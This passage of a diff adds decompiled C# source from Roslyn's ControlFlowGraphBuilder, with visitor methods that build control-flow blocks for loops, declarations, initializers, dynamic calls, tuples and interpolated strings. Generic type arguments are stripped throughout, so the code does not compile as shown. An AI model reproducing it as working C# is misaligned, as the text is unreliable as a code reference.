ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5627); + } + + public override IOperation? VisitEnd(IEndOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + BasicBlockBuilder currentBasicBlock = CurrentBasicBlock; + AppendNewBlock(new BasicBlockBuilder(BasicBlockKind.Block), linkToPrevious: false); + currentBasicBlock.FallThrough.Kind = ControlFlowBranchSemantics.ProgramTermination; + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitForLoop(IForLoopOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals)); + ImmutableArray before = operation.Before; + if (before.Length == 1 && before[0].Kind == OperationKind.VariableDeclarationGroup) + { + HandleVariableDeclarations((VariableDeclarationGroupOperation)before.Single()); + } + else + { + VisitStatements(before); + } + BasicBlockBuilder basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + AppendNewBlock(basicBlockBuilder); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.ConditionLocals)); + BasicBlockBuilder dest = GetLabeledOrNewBlock(operation.ExitLabel); + if (operation.Condition != null) + { + VisitConditionalBranch(operation.Condition, ref dest, jumpIfTrue: false); + } + VisitStatement(operation.Body); + BasicBlockBuilder labeledOrNewBlock = GetLabeledOrNewBlock(operation.ContinueLabel); + AppendNewBlock(labeledOrNewBlock); + VisitStatements(operation.AtLoopBottom); + UnconditionalBranch(basicBlockBuilder); + LeaveRegion(); + LeaveRegion(); + AppendNewBlock(dest); + return FinishVisitingStatement(operation); + } + + internal override IOperation? VisitFixed(IFixedOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime, null, operation.Locals)); + HandleVariableDeclarations(operation.Variables); + VisitStatement(operation.Body); + LeaveRegion(); + return FinishVisitingStatement(operation); + } + + public override IOperation? VisitVariableDeclarationGroup(IVariableDeclarationGroupOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + HandleVariableDeclarations(operation); + return FinishVisitingStatement(operation); + } + + private void HandleVariableDeclarations(IVariableDeclarationGroupOperation operation) + { + ImmutableArray.Enumerator enumerator = operation.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IVariableDeclarationOperation current = enumerator.Current; + HandleVariableDeclaration(current); + } + } + + private void HandleVariableDeclaration(IVariableDeclarationOperation operation) + { + ImmutableArray.Enumerator enumerator = operation.Declarators.GetEnumerator(); + while (enumerator.MoveNext()) + { + IVariableDeclaratorOperation current = enumerator.Current; + HandleVariableDeclarator(operation, current); + } + } + + private void HandleVariableDeclarator(IVariableDeclarationOperation declaration, IVariableDeclaratorOperation declarator) + { + if (declarator.Initializer != null || declaration.Initializer != null) + { + ILocalSymbol symbol = declarator.Symbol; + BasicBlockBuilder basicBlockBuilder = null; + if (symbol.IsStatic) + { + basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + ITypeSymbol specialType = _compilation.GetSpecialType(SpecialType.System_Boolean); + StaticLocalInitializationSemaphoreOperation condition = new StaticLocalInitializationSemaphoreOperation(symbol, declarator.Syntax, specialType); + ConditionalBranch(condition, jumpIfTrue: false, basicBlockBuilder); + _currentBasicBlock = null; + EnterRegion(new RegionBuilder(ControlFlowRegionKind.StaticLocalInitializer)); + } + EvalStackFrame frame = PushStackFrame(); + IOperation operation = null; + SyntaxNode syntax = null; + if (declarator.Initializer != null) + { + operation = Visit(declarator.Initializer.Value); + syntax = declarator.Syntax; + } + if (declaration.Initializer != null) + { + IOperation operation2 = VisitRequired(declaration.Initializer.Value); + syntax = declaration.Syntax; + operation = ((operation == null) ? operation2 : new InvalidOperation(ImmutableArray.Create(operation, operation2), null, declaration.Syntax, symbol.Type, null, isImplicit: true)); + } + LocalReferenceOperation localReferenceOperation = new LocalReferenceOperation(symbol, isDeclaration: true, null, declarator.Syntax, symbol.Type, null, isImplicit: true); + SimpleAssignmentOperation statement = new SimpleAssignmentOperation(symbol.IsRef, localReferenceOperation, operation, null, syntax, localReferenceOperation.Type, null, isImplicit: true); + AddStatement(statement); + PopStackFrameAndLeaveRegion(frame); + if (symbol.IsStatic) + { + LeaveRegion(); + AppendNewBlock(basicBlockBuilder); + } + } + } + + public override IOperation VisitVariableDeclaration(IVariableDeclarationOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5822); + } + + public override IOperation VisitVariableDeclarator(IVariableDeclaratorOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5828); + } + + public override IOperation VisitVariableInitializer(IVariableInitializerOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5834); + } + + public override IOperation VisitFlowCapture(IFlowCaptureOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5839); + } + + public override IOperation VisitFlowCaptureReference(IFlowCaptureReferenceOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5844); + } + + public override IOperation VisitIsNull(IIsNullOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5849); + } + + public override IOperation VisitCaughtException(ICaughtExceptionOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 5854); + } + + public override IOperation VisitInvocation(IInvocationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + IOperation instance = (operation.TargetMethod.IsStatic ? null : operation.Instance); + var (instance2, arguments) = VisitInstanceWithArguments(instance, operation.Arguments); + PopStackFrame(frame); + return new InvocationOperation(operation.TargetMethod, operation.ConstrainedToType, instance2, operation.IsVirtual, arguments, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation? VisitFunctionPointerInvocation(IFunctionPointerInvocationOperation operation, int? argument) + { + EvalStackFrame frame = PushStackFrame(); + IOperation target = operation.Target; + var (target2, arguments) = handlePointerAndArguments(target, operation.Arguments); + PopStackFrame(frame); + return new FunctionPointerInvocationOperation(target2, arguments, null, operation.Syntax, operation.Type, IsImplicit(operation)); + (IOperation visitedInstance, ImmutableArray visitedArguments) handlePointerAndArguments(IOperation targetPointer, ImmutableArray arguments2) + { + PushOperand(VisitRequired(targetPointer)); + ImmutableArray item = VisitArguments(arguments2, instancePushed: false); + return (visitedInstance: PopOperand(), visitedArguments: item); + } + } + + private (IOperation? visitedInstance, ImmutableArray visitedArguments) VisitInstanceWithArguments(IOperation? instance, ImmutableArray arguments) + { + bool flag = instance != null; + if (flag) + { + PushOperand(VisitRequired(instance)); + } + ImmutableArray item = VisitArguments(arguments, flag); + return (visitedInstance: flag ? PopOperand() : null, visitedArguments: item); + } + + internal override IOperation VisitNoPiaObjectCreation(INoPiaObjectCreationOperation operation, int? argument) + { + EvalStackFrame frame = PushStackFrame(); + IOperation objectCreation = new NoPiaObjectCreationOperation(null, null, operation.Syntax, operation.Type, IsImplicit(operation)); + return PopStackFrame(frame, HandleObjectOrCollectionInitializer(operation.Initializer, objectCreation)); + } + + public override IOperation VisitObjectCreation(IObjectCreationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + EvalStackFrame frame2 = PushStackFrame(); + ImmutableArray arguments = VisitArguments(operation.Arguments, instancePushed: false); + PopStackFrame(frame2); + IOperation objectCreation = new ObjectCreationOperation(operation.Constructor, null, arguments, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + return PopStackFrame(frame, HandleObjectOrCollectionInitializer(operation.Initializer, objectCreation)); + } + + public override IOperation VisitTypeParameterObjectCreation(ITypeParameterObjectCreationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + TypeParameterObjectCreationOperation objectCreation = new TypeParameterObjectCreationOperation(null, null, operation.Syntax, operation.Type, IsImplicit(operation)); + return PopStackFrame(frame, HandleObjectOrCollectionInitializer(operation.Initializer, objectCreation)); + } + + public override IOperation VisitDynamicObjectCreation(IDynamicObjectCreationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + EvalStackFrame frame2 = PushStackFrame(); + ImmutableArray arguments = VisitArray(operation.Arguments); + PopStackFrame(frame2); + HasDynamicArgumentsExpression hasDynamicArgumentsExpression = (HasDynamicArgumentsExpression)operation; + IOperation objectCreation = new DynamicObjectCreationOperation(null, arguments, hasDynamicArgumentsExpression.ArgumentNames, hasDynamicArgumentsExpression.ArgumentRefKinds, null, operation.Syntax, operation.Type, IsImplicit(operation)); + return PopStackFrame(frame, HandleObjectOrCollectionInitializer(operation.Initializer, objectCreation)); + } + + private IOperation HandleObjectOrCollectionInitializer(IObjectOrCollectionInitializerOperation? initializer, IOperation objectCreation) + { + if (initializer == null || initializer.Initializers.IsEmpty) + { + return objectCreation; + } + PushOperand(objectCreation); + SpillEvalStack(); + objectCreation = PopOperand(); + visitInitializer(initializer, objectCreation); + return objectCreation; + void handleInitializer(IOperation innerInitializer) + { + switch (innerInitializer.Kind) + { + case OperationKind.MemberInitializer: + handleMemberInitializer((IMemberInitializerOperation)innerInitializer); + break; + case OperationKind.SimpleAssignment: + handleSimpleAssignment((ISimpleAssignmentOperation)innerInitializer); + break; + default: + { + EvalStackFrame frame = PushStackFrame(); + AddStatement(Visit(innerInitializer)); + PopStackFrameAndLeaveRegion(frame); + break; + } + } + } + void handleMemberInitializer(IMemberInitializerOperation memberInitializer) + { + EvalStackFrame frame = PushStackFrame(); + IOperation initializedInstance = (tryPushTarget(memberInitializer.InitializedMember) ? popTarget(memberInitializer.InitializedMember) : VisitRequired(memberInitializer.InitializedMember)); + visitInitializer(memberInitializer.Initializer, initializedInstance); + PopStackFrameAndLeaveRegion(frame); + } + void handleSimpleAssignment(ISimpleAssignmentOperation assignmentOperation) + { + EvalStackFrame frame = PushStackFrame(); + IOperation statement; + if (!tryPushTarget(assignmentOperation.Target)) + { + statement = VisitRequired(assignmentOperation); + } + else + { + IOperation value = VisitRequired(assignmentOperation.Value); + IOperation target = popTarget(assignmentOperation.Target); + statement = new SimpleAssignmentOperation(assignmentOperation.IsRef, target, value, null, assignmentOperation.Syntax, assignmentOperation.Type, assignmentOperation.GetConstantValue(), IsImplicit(assignmentOperation)); + } + AddStatement(statement); + PopStackFrameAndLeaveRegion(frame); + } + IOperation popTarget(IOperation originalTarget) + { + switch (originalTarget.Kind) + { + case OperationKind.FieldReference: + { + IFieldReferenceOperation fieldReferenceOperation = (IFieldReferenceOperation)originalTarget; + IOperation instance = ((!fieldReferenceOperation.Member.IsStatic && fieldReferenceOperation.Instance != null) ? PopOperand() : null); + return new FieldReferenceOperation(fieldReferenceOperation.Field, fieldReferenceOperation.IsDeclaration, instance, null, fieldReferenceOperation.Syntax, fieldReferenceOperation.Type, fieldReferenceOperation.GetConstantValue(), IsImplicit(fieldReferenceOperation)); + } + case OperationKind.EventReference: + { + IEventReferenceOperation eventReferenceOperation = (IEventReferenceOperation)originalTarget; + IOperation instance = ((!eventReferenceOperation.Member.IsStatic && eventReferenceOperation.Instance != null) ? PopOperand() : null); + return new EventReferenceOperation(eventReferenceOperation.Event, eventReferenceOperation.ConstrainedToType, instance, null, eventReferenceOperation.Syntax, eventReferenceOperation.Type, IsImplicit(eventReferenceOperation)); + } + case OperationKind.PropertyReference: + { + IPropertyReferenceOperation propertyReferenceOperation = (IPropertyReferenceOperation)originalTarget; + IOperation instance = ((!propertyReferenceOperation.Member.IsStatic && propertyReferenceOperation.Instance != null) ? PopOperand() : null); + ImmutableArray arguments = PopArray(propertyReferenceOperation.Arguments, RewriteArgumentFromArray); + return new PropertyReferenceOperation(propertyReferenceOperation.Property, propertyReferenceOperation.ConstrainedToType, arguments, instance, null, propertyReferenceOperation.Syntax, propertyReferenceOperation.Type, IsImplicit(propertyReferenceOperation)); + } + case OperationKind.ArrayElementReference: + { + IArrayElementReferenceOperation arrayElementReferenceOperation = (IArrayElementReferenceOperation)originalTarget; + IOperation instance = PopOperand(); + ImmutableArray indices = PopArray(arrayElementReferenceOperation.Indices); + return new ArrayElementReferenceOperation(instance, indices, null, originalTarget.Syntax, originalTarget.Type, IsImplicit(originalTarget)); + } + case OperationKind.DynamicIndexerAccess: + { + DynamicIndexerAccessOperation dynamicIndexerAccessOperation = (DynamicIndexerAccessOperation)originalTarget; + IOperation instance = PopOperand(); + ImmutableArray arguments2 = PopArray(dynamicIndexerAccessOperation.Arguments); + return new DynamicIndexerAccessOperation(instance, arguments2, dynamicIndexerAccessOperation.ArgumentNames, dynamicIndexerAccessOperation.ArgumentRefKinds, null, dynamicIndexerAccessOperation.Syntax, dynamicIndexerAccessOperation.Type, IsImplicit(dynamicIndexerAccessOperation)); + } + case OperationKind.DynamicMemberReference: + { + IDynamicMemberReferenceOperation dynamicMemberReferenceOperation = (IDynamicMemberReferenceOperation)originalTarget; + IOperation instance = ((dynamicMemberReferenceOperation.Instance != null) ? PopOperand() : null); + return new DynamicMemberReferenceOperation(instance, dynamicMemberReferenceOperation.MemberName, dynamicMemberReferenceOperation.TypeArguments, dynamicMemberReferenceOperation.ContainingType, null, dynamicMemberReferenceOperation.Syntax, dynamicMemberReferenceOperation.Type, IsImplicit(dynamicMemberReferenceOperation)); + } + default: + throw ExceptionUtilities.UnexpectedValue(originalTarget.Kind); + } + } + bool tryPushTarget(IOperation instance) + { + switch (instance.Kind) + { + case OperationKind.FieldReference: + case OperationKind.PropertyReference: + case OperationKind.EventReference: + { + IMemberReferenceOperation memberReferenceOperation = (IMemberReferenceOperation)instance; + if (memberReferenceOperation.Kind == OperationKind.PropertyReference) + { + VisitAndPushArguments(((IPropertyReferenceOperation)memberReferenceOperation).Arguments, instancePushed: false); + SpillEvalStack(); + } + if (!memberReferenceOperation.Member.IsStatic && memberReferenceOperation.Instance != null) + { + PushOperand(VisitRequired(memberReferenceOperation.Instance)); + } + return true; + } + case OperationKind.ArrayElementReference: + { + IArrayElementReferenceOperation arrayElementReferenceOperation = (IArrayElementReferenceOperation)instance; + VisitAndPushArray(arrayElementReferenceOperation.Indices); + SpillEvalStack(); + PushOperand(VisitRequired(arrayElementReferenceOperation.ArrayReference)); + return true; + } + case OperationKind.DynamicIndexerAccess: + { + IDynamicIndexerAccessOperation dynamicIndexerAccessOperation = (IDynamicIndexerAccessOperation)instance; + VisitAndPushArray(dynamicIndexerAccessOperation.Arguments); + SpillEvalStack(); + PushOperand(VisitRequired(dynamicIndexerAccessOperation.Operation)); + return true; + } + case OperationKind.DynamicMemberReference: + { + IDynamicMemberReferenceOperation dynamicMemberReferenceOperation = (IDynamicMemberReferenceOperation)instance; + if (dynamicMemberReferenceOperation.Instance != null) + { + PushOperand(VisitRequired(dynamicMemberReferenceOperation.Instance)); + } + return true; + } + default: + return false; + } + } + void visitInitializer(IObjectOrCollectionInitializerOperation initializerOperation, IOperation initializedInstance) + { + ImplicitInstanceInfo currentImplicitInstance = _currentImplicitInstance; + _currentImplicitInstance = new ImplicitInstanceInfo(initializedInstance); + ImmutableArray.Enumerator enumerator = initializerOperation.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + handleInitializer(current); + } + _currentImplicitInstance = currentImplicitInstance; + } + } + + public override IOperation VisitObjectOrCollectionInitializer(IObjectOrCollectionInitializerOperation operation, int? captureIdForResult) + { + return MakeInvalidOperation(operation.Syntax, operation.Type, ImmutableArray.Empty); + } + + public override IOperation VisitMemberInitializer(IMemberInitializerOperation operation, int? captureIdForResult) + { + return MakeInvalidOperation(operation.Syntax, operation.Type, ImmutableArray.Empty); + } + + public override IOperation VisitAnonymousObjectCreation(IAnonymousObjectCreationOperation operation, int? captureIdForResult) + { + if (operation.Initializers.IsEmpty) + { + return new AnonymousObjectCreationOperation(ImmutableArray.Empty, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + ImplicitInstanceInfo currentImplicitInstance = _currentImplicitInstance; + _currentImplicitInstance = new ImplicitInstanceInfo((INamedTypeSymbol)operation.Type); + SpillEvalStack(); + EvalStackFrame frame = PushStackFrame(); + ArrayBuilder instance = ArrayBuilder.GetInstance(operation.Initializers.Length); + for (int i = 0; i < operation.Initializers.Length; i++) + { + ISimpleAssignmentOperation simpleAssignmentOperation = (ISimpleAssignmentOperation)operation.Initializers[i]; + IPropertyReferenceOperation propertyReferenceOperation = (IPropertyReferenceOperation)simpleAssignmentOperation.Target; + InstanceReferenceOperation instance2 = new InstanceReferenceOperation(InstanceReferenceKind.ImplicitReceiver, null, propertyReferenceOperation.Instance.Syntax, propertyReferenceOperation.Instance.Type, IsImplicit(propertyReferenceOperation.Instance)); + IOperation target = new PropertyReferenceOperation(propertyReferenceOperation.Property, propertyReferenceOperation.ConstrainedToType, ImmutableArray.Empty, instance2, null, propertyReferenceOperation.Syntax, propertyReferenceOperation.Type, IsImplicit(propertyReferenceOperation)); + IOperation value = visitAndCaptureInitializer(propertyReferenceOperation.Property, simpleAssignmentOperation.Value); + SimpleAssignmentOperation item = new SimpleAssignmentOperation(simpleAssignmentOperation.IsRef, target, value, null, simpleAssignmentOperation.Syntax, simpleAssignmentOperation.Type, simpleAssignmentOperation.GetConstantValue(), IsImplicit(simpleAssignmentOperation)); + instance.Add(item); + } + _currentImplicitInstance.Free(); + _currentImplicitInstance = currentImplicitInstance; + for (int j = 0; j < instance.Count; j++) + { + PopOperand(); + } + PopStackFrame(frame); + return new AnonymousObjectCreationOperation(instance.ToImmutableAndFree(), null, operation.Syntax, operation.Type, IsImplicit(operation)); + IOperation visitAndCaptureInitializer(IPropertySymbol initializedProperty, IOperation initializer) + { + PushOperand(VisitRequired(initializer)); + SpillEvalStack(); + IOperation operation2 = PeekOperand(); + _currentImplicitInstance.AnonymousTypePropertyValues[initializedProperty] = operation2; + return operation2; + } + } + + public override IOperation? VisitLocalFunction(ILocalFunctionOperation operation, int? captureIdForResult) + { + StartVisitingStatement(operation); + RegionBuilder regionBuilder = CurrentRegionRequired; + while (regionBuilder.IsStackSpillRegion) + { + regionBuilder = regionBuilder.Enclosing; + } + regionBuilder.Add(operation.Symbol, operation); + return FinishVisitingStatement(operation); + } + + private IOperation? VisitLocalFunctionAsRoot(ILocalFunctionOperation operation) + { + VisitMethodBodies(operation.Body, operation.IgnoredBody); + return null; + } + + public override IOperation VisitAnonymousFunction(IAnonymousFunctionOperation operation, int? captureIdForResult) + { + _haveAnonymousFunction = true; + return new FlowAnonymousFunctionOperation(GetCurrentContext(), operation, IsImplicit(operation)); + } + + public override IOperation VisitFlowAnonymousFunction(IFlowAnonymousFunctionOperation operation, int? captureIdForResult) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Operations/ControlFlowGraphBuilder.cs", 6296); + } + + public override IOperation VisitArrayCreation(IArrayCreationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + VisitAndPushArray(operation.DimensionSizes); + IArrayInitializerOperation initializer = (IArrayInitializerOperation)Visit(operation.Initializer); + ImmutableArray dimensionSizes = PopArray(operation.DimensionSizes); + PopStackFrame(frame); + return new ArrayCreationOperation(dimensionSizes, initializer, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitArrayInitializer(IArrayInitializerOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + visitAndPushArrayInitializerValues(operation); + return PopStackFrame(frame, popAndAssembleArrayInitializerValues(operation)); + IArrayInitializerOperation popAndAssembleArrayInitializerValues(IArrayInitializerOperation initializer) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(initializer.ElementValues.Length); + for (int num = initializer.ElementValues.Length - 1; num >= 0; num--) + { + IOperation operation2 = initializer.ElementValues[num]; + IOperation item = ((operation2.Kind != OperationKind.ArrayInitializer) ? PopOperand() : popAndAssembleArrayInitializerValues((IArrayInitializerOperation)operation2)); + instance.Add(item); + } + instance.ReverseContents(); + return new ArrayInitializerOperation(instance.ToImmutableAndFree(), null, initializer.Syntax, IsImplicit(initializer)); + } + void visitAndPushArrayInitializerValues(IArrayInitializerOperation initializer) + { + ImmutableArray.Enumerator enumerator = initializer.ElementValues.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + if (current.Kind == OperationKind.ArrayInitializer) + { + visitAndPushArrayInitializerValues((IArrayInitializerOperation)current); + } + else + { + PushOperand(VisitRequired(current)); + } + } + } + } + + public override IOperation VisitInstanceReference(IInstanceReferenceOperation operation, int? captureIdForResult) + { + switch (operation.ReferenceKind) + { + case InstanceReferenceKind.ImplicitReceiver: + if (_currentImplicitInstance.ImplicitInstance != null) + { + return OperationCloner.CloneOperation(_currentImplicitInstance.ImplicitInstance); + } + return MakeInvalidOperation(operation.Syntax, operation.Type, ImmutableArray.Empty); + case InstanceReferenceKind.InterpolatedStringHandler: + return new FlowCaptureReferenceOperation(_currentInterpolatedStringHandlerCreationContext.HandlerPlaceholder, operation.Syntax, operation.Type, operation.GetConstantValue()); + default: + return new InstanceReferenceOperation(operation.ReferenceKind, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + } + + public override IOperation VisitDynamicInvocation(IDynamicInvocationOperation operation, int? captureIdForResult) + { + EvalStackFrame frame = PushStackFrame(); + if (operation.Operation.Kind == OperationKind.DynamicMemberReference) + { + IOperation instance = ((IDynamicMemberReferenceOperation)operation.Operation).Instance; + if (instance != null) + { + PushOperand(VisitRequired(instance)); + } + } + else + { + PushOperand(VisitRequired(operation.Operation)); + } + ImmutableArray arguments = VisitArray(operation.Arguments); + IOperation operation2; + if (operation.Operation.Kind == OperationKind.DynamicMemberReference) + { + IDynamicMemberReferenceOperation dynamicMemberReferenceOperation = (IDynamicMemberReferenceOperation)operation.Operation; + operation2 = new DynamicMemberReferenceOperation((dynamicMemberReferenceOperation.Instance != null) ? PopOperand() : null, dynamicMemberReferenceOperation.MemberName, dynamicMemberReferenceOperation.TypeArguments, dynamicMemberReferenceOperation.ContainingType, null, dynamicMemberReferenceOperation.Syntax, dynamicMemberReferenceOperation.Type, IsImplicit(dynamicMemberReferenceOperation)); + } + else + { + operation2 = PopOperand(); + } + PopStackFrame(frame); + return new DynamicInvocationOperation(operation2, arguments, ((HasDynamicArgumentsExpression)operation).ArgumentNames, ((HasDynamicArgumentsExpression)operation).ArgumentRefKinds, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitDynamicIndexerAccess(IDynamicIndexerAccessOperation operation, int? captureIdForResult) + { + PushOperand(VisitRequired(operation.Operation)); + ImmutableArray arguments = VisitArray(operation.Arguments); + return new DynamicIndexerAccessOperation(PopOperand(), arguments, ((HasDynamicArgumentsExpression)operation).ArgumentNames, ((HasDynamicArgumentsExpression)operation).ArgumentRefKinds, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitDynamicMemberReference(IDynamicMemberReferenceOperation operation, int? captureIdForResult) + { + return new DynamicMemberReferenceOperation(Visit(operation.Instance), operation.MemberName, operation.TypeArguments, operation.ContainingType, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + public override IOperation VisitDeconstructionAssignment(IDeconstructionAssignmentOperation operation, int? captureIdForResult) + { + var (target, value) = VisitPreservingTupleOperations(operation.Target, operation.Value); + return new DeconstructionAssignmentOperation(target, value, null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + private void PushTargetAndUnwrapTupleIfNecessary(IOperation value) + { + if (value.Kind == OperationKind.Tuple) + { + ImmutableArray.Enumerator enumerator = ((ITupleOperation)value).Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + PushTargetAndUnwrapTupleIfNecessary(current); + } + } + else + { + PushOperand(VisitRequired(value)); + } + } + + private IOperation PopTargetAndWrapTupleIfNecessary(IOperation value) + { + if (value.Kind == OperationKind.Tuple) + { + ITupleOperation tupleOperation = (ITupleOperation)value; + int length = tupleOperation.Elements.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int num = length - 1; num >= 0; num--) + { + instance.Add(PopTargetAndWrapTupleIfNecessary(tupleOperation.Elements[num])); + } + instance.ReverseContents(); + return new TupleOperation(instance.ToImmutableAndFree(), tupleOperation.NaturalType, null, tupleOperation.Syntax, tupleOperation.Type, IsImplicit(tupleOperation)); + } + return PopOperand(); + } + + public override IOperation VisitDeclarationExpression(IDeclarationExpressionOperation operation, int? captureIdForResult) + { + return new DeclarationExpressionOperation(VisitPreservingTupleOperations(operation.Expression), null, operation.Syntax, operation.Type, IsImplicit(operation)); + } + + private IOperation VisitPreservingTupleOperations(IOperation operation) + { + EvalStackFrame frame = PushStackFrame(); + PushTargetAndUnwrapTupleIfNecessary(operation); + return PopStackFrame(frame, PopTargetAndWrapTupleIfNecessary(operation)); + } + + private (IOperation visitedLeft, IOperation visitedRight) VisitPreservingTupleOperations(IOperation left, IOperation right) + { + EvalStackFrame frame = PushStackFrame(); + PushTargetAndUnwrapTupleIfNecessary(left); + IOperation item = VisitRequired(right); + IOperation item2 = PopTargetAndWrapTupleIfNecessary(left); + PopStackFrame(frame); + return (visitedLeft: item2, visitedRight: item); + } + + public override IOperation VisitTuple(ITupleOperation operation, int? captureIdForResult) + { + return VisitPreservingTupleOperations(operation); + } + + internal override IOperation VisitNoneOperation(IOperation operation, int? captureIdForResult) + { + if (_currentStatement == operation) + { + return VisitNoneOperationStatement(operation); + } + return VisitNoneOperationExpression(operation); + } + + private IOperation VisitNoneOperationStatement(IOperation operation) + { + VisitStatements(((Operation)operation).ChildOperations.ToImmutableArray()); + return new NoneOperation(ImmutableArray.Empty, null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation)); + } + + private IOperation VisitNoneOperationExpression(IOperation operation) + { + return PopStackFrame(PushStackFrame(), new NoneOperation(VisitArray(((Operation)operation).ChildOperations.ToImmutableArray()), null, operation.Syntax, operation.Type, operation.GetConstantValue(), IsImplicit(operation))); + } + + public override IOperation? VisitInterpolatedStringHandlerCreation(IInterpolatedStringHandlerCreationOperation operation, int? captureIdForResult) + { + SpillEvalStack(); + int maximumStackDepth = _evalStack.Count - 2; + RegionBuilder currentRegionRequired = CurrentRegionRequired; + int num = captureIdForResult ?? GetNextCaptureId(currentRegionRequired); + RegionBuilder regionBuilder = new RegionBuilder(ControlFlowRegionKind.LocalLifetime); + EnterRegion(regionBuilder); + BasicBlockBuilder basicBlockBuilder = null; + if (operation.HandlerCreationHasSuccessParameter || operation.HandlerAppendCallsReturnBool) + { + basicBlockBuilder = new BasicBlockBuilder(BasicBlockKind.Block); + } + int num2 = -1; + IInterpolatedStringHandlerArgumentPlaceholderOperation interpolatedStringHandlerArgumentPlaceholderOperation = null; + if (operation.HandlerCreationHasSuccessParameter) + { + num2 = GetNextCaptureId(regionBuilder); + ImmutableArray arguments = ((IObjectCreationOperation)operation.HandlerCreation).Arguments; + IArgumentOperation argumentOperation = null; + for (int num3 = arguments.Length - 1; num3 > 1; num3--) + { + IArgumentOperation argumentOperation2 = arguments[num3]; + if (argumentOperation2 != null && argumentOperation2.Value is IInterpolatedStringHandlerArgumentPlaceholderOperation { PlaceholderKind: InterpolatedStringArgumentPlaceholderKind.TrailingValidityArgument }) + { + argumentOperation = argumentOperation2; + break; + } + } + interpolatedStringHandlerArgumentPlaceholderOperation = (IInterpolatedStringHandlerArgumentPlaceholderOperation)argumentOperation.Value; + } + InterpolatedStringHandlerCreationContext currentInterpolatedStringHandlerCreationContext = _currentInterpolatedStringHandlerCreationContext; + _currentInterpolatedStringHandlerCreationContext = new InterpolatedStringHandlerCreationContext(operation, maximumStackDepth, num, num2); + VisitAndCapture(operation.HandlerCreation, num); + if (operation.HandlerCreationHasSuccessParameter) + { + ConditionalBranch(new FlowCaptureReferenceOperation(num2, interpolatedStringHandlerArgumentPlaceholderOperation.Syntax, interpolatedStringHandlerArgumentPlaceholderOperation.Type, null), jumpIfTrue: false, basicBlockBuilder); + _currentBasicBlock = null; + } + LeaveRegionsUpTo(currentRegionRequired); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + collectAppendCalls(operation, instance); + int count = instance.Count; + for (int i = 0; i < count; i++) + { + EnterRegion(new RegionBuilder(ControlFlowRegionKind.LocalLifetime)); + IInterpolatedStringAppendOperation interpolatedStringAppendOperation = instance[i]; + IOperation operation2 = VisitRequired(interpolatedStringAppendOperation.AppendCall); + if (operation.HandlerAppendCallsReturnBool) + { + if (i == count - 1) + { + AddStatement(operation2); + } + else + { + ConditionalBranch(operation2, jumpIfTrue: false, basicBlockBuilder); + _currentBasicBlock = null; + } + } + else + { + AddStatement(operation2); + } + LeaveRegionsUpTo(currentRegionRequired); + } + if (basicBlockBuilder != null) + { + AppendNewBlock(basicBlockBuilder); + } + _currentInterpolatedStringHandlerCreationContext = currentInterpolatedStringHandlerCreationContext; + instance.Free(); + return new FlowCaptureReferenceOperation(num, operation.Syntax, operation.Type, operation.GetConstantValue()); + static void appendStringCalls(IInterpolatedStringOperation interpolatedString, ArrayBuilder appendCalls) + { + ImmutableArray.Enumerator enumerator = interpolatedString.Parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + IInterpolatedStringContentOperation current = enumerator.Current; + appendCalls.Add((IInterpolatedStringAppendOperation)current); + } + } + static void 